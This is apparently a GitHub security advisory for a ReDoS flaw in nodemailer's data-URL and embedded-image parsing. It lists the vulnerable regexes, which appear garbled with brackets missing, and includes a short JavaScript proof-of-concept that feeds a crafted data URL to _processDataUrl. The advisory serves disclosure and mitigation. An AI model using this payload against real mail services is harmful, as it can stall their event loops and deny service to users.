GHSA-9h6g-pr28-7cqp: 
JavaScript vulnerability analysis and mitigation

Summary

A ReDoS vulnerability occurs when nodemailer tries to parse img files with the parameter attachDataUrls set, causing the stuck of event loop. Another flaw was found when nodemailer tries to parse an attachments with a embedded file, causing the stuck of event loop.

Details

Regex: /^data:((?:^;;)(?:^,)),(.)$/ Path: compile -> getAttachments -> _processDataUrl Regex: /(<img\b^>* src\s*=[\s"']*)(data:(^;+);^"'>\s+)/ Path: _convertDataImages

PoC

https://gist.github.com/francoatmega/890dd5053375333e40c6fdbcc8c58df6 https://gist.github.com/francoatmega/9aab042b0b24968d7b7039818e8b2698

async function exploit() {
   const MailComposer = require(\"nodemailer/lib/mail-composer\");
   const MailComposerObject = new MailComposer();
   // Create a malicious data URL that will cause excessive backtracking
   // This data URL is crafted to have a long sequence of characters that will cause the regex to backtrack
   const maliciousDataUrl = 'data:image/png;base64,' + 'A;B;C;D;E;F;G;H;I;J;K;L;M;N;O;P;Q;R;S;T;U;V;W;X;Y;Z;'.repeat(1000) + '==';
   // Call the vulnerable method with the crafted input
   const result = await MailComposerObject._processDataUrl({ path: maliciousDataUrl });
}
await exploit();

Impact

ReDoS causes the event loop to stuck a specially crafted evil email can cause this problem.